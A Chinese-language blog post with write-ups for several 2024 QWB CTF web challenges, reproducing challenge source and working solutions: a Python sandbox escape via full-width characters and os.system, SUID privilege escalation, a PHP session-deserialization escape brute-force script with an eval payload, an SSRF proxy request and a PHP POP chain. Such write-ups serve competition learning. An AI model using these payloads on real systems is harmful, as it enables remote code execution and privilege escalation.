2024強網杯web題解

DGhh發表於2024-11-05

PyBlockly

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False



def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

        
    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)
'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')
# ‘;__import__(”builtins”)。len=lambda a:2;’‘;__import__(”os”)。system(”$(); ”);’

有一個符號過濾一個鉤子

image
image

用全形符號繞過鉤子隔斷一下即可
最後發現flag沒有許可權
可以進行suid提權

find / -perm -u=s -type f 2>/dev/null

直接dd if=/flag

‘;__import__(”builtins”)。len=lambda a:1;’‘;__import__(”os”)。system(”$(printf ‘\144\144\40\151\146\75\57\146\154\141\147’); ”);’

image

platform

index.php

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user'] = $username;

    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] =$SessionRandom -> generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
} else {
    require 'login.php';
}
echo session_save_path();

class.php
<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

class SessionRandom {

    public function generateRandomString() {
    $length = rand(1, 50);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }


}

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}


dashboard.php

<?php
include("class.php");
session_start();

if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>任何人都可以登入的平臺</title>
    <style>
        body {
            background-color: #f0f4f8;
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
            text-align: center;
        }
        h1 {
            color: #333;
            margin-bottom: 20px;
        }
        p {
            color: #555;
            font-size: 18px;
            margin: 0;
        }
        .session-info {
            background-color: #fff;
            border-radius: 10px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            width: 300px;
            margin-top: 20px;
        }
    </style>
</head>
<body>
    <h1>歡迎來到任何人都可以登入的平臺</h1>
    <div class="session-info">
        <p>你好,<?php echo htmlspecialchars($_SESSION['user']); ?>!</p>
    </div>
</body>
</html>

image

image

是一個session反序列化
image
image

把一些特定的函式替換為空我們可以利用這一點進行反序列化逃逸

我們在本地嘗試
image
image

我們eval會被替換為空然後吃掉紅框之中的內容後面是我們偽造的我們需要的password
但是紅框之中的內容長度是隨機的我們可以寫指令碼爆破(當然也可以用bp爆破)

from time import sleep

import requests

session = requests.Session()
url1 = 'http://eci-2ze51q7dfugzvlb7vere.cloudeci1.ichunqiu.com/'
url2 = 'http://eci-2ze51q7dfugzvlb7vere.cloudeci1.ichunqiu.com/dashboard.php'

cookies = {
    'PHPSESSID': 'b6hemaadv990atohld4equu327'
}
data = {
    'username': 'evalevalevalevalevalevalevalevalevalevalevalevalevalevaleval',
    'password': ';password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";};'
}
while True:
    res = session.post(url=url1, cookies=cookies, data=data)

    res2 = session.post(url=url2, cookies=cookies)

    if "root" in res2.text:
        print(res2.text)
        exit()

xiaohuanxiong

直接遞迴掃描

/index.php/admin/Authors/index

進入目錄後直接改管理員賬號密碼即可
然後去後臺登陸直接在支付頁面寫命令即可

image

Proxy

package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

就是一個簡單的代理發包

import requests
import json

# 代理的URL
proxy_url = "http://59.110.156.237:36897/v2/api/proxy"

# v1的URL
v1_url = "http://59.110.156.237:36897/v1/api/flag"

# 構建請求資料
data = {
    "url": v1_url,
    "method": "POST",
    "body": "",
    "headers": {},
    "follow_redirects": False
}

# 傳送請求
response = requests.post(proxy_url, data=json.dumps(data), headers={"Content-Type": "application/json"})

# 列印響應內容
if response.status_code == 200:
    print("成功獲取 flag:")
    print(response.json())
else:
    print(f"獲取 flag 失敗. 狀態碼: {response.status_code}")
    print("響應內容:", response.text)

Password Game

一個php反序列化
image

只讓玩三秒但是我們可以抓包
過了之後給我們原始碼

function filter($password) {
    $filter_arr = array("admin", "2024qwb");
    $filter = '/' . implode("|", $filter_arr) . '/i';
    return preg_replace($filter, "nonono", $password);
}

class guest {
    public $username;
    public $value;

    public function __toString() {
        if ($this->username == "guest") {
            $value();
        }
        return $this->username;
    }

    public function __call($key, $value) {
        if ($this->username == md5($GLOBALS["flag"])) {
            echo $GLOBALS["flag"];
        }
    }
}

class root {
    public $username;
    public $value;

    public function __get($key) {
        if (strpos($this->username, "admin") === 0 && $this->value == "2024qwb") {
            $this->value = $GLOBALS["flag"];
            echo md5("hello:" . $this->value);
        }
    }
}

class user {
    public $username;
    public $password;
    public $value;

    public function __invoke() {
        $this->username = md5($GLOBALS["flag"]);
        return $this->password->guess();
    }

    public function __destruct() {
        if (strpos($this->username, "admin") === 0) {
            echo "hello" . $this->username;
        }
    }
}

// 反序列化並過濾使用者輸入的密碼
$user = unserialize(filter($_POST["password"]));

// 檢查使用者名稱和密碼
if (strpos($user->username, "admin") === 0 && $user->password == "2024qwb") {
    echo "hello!";
}


構造pop鏈

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class root{
    public $username;
    public $ic;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
// if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
//     echo "hello!";
// }

$a = new root();
$a->username = "a";
$a->value = 2024;
$a->ic = new user();
$a->ic ->username = &$a->value;
$a->ic ->password = "dD943680";
echo serialize($a);

接著改一下pop鏈中的無關內容使其符合遊戲條件即可

image

相關文章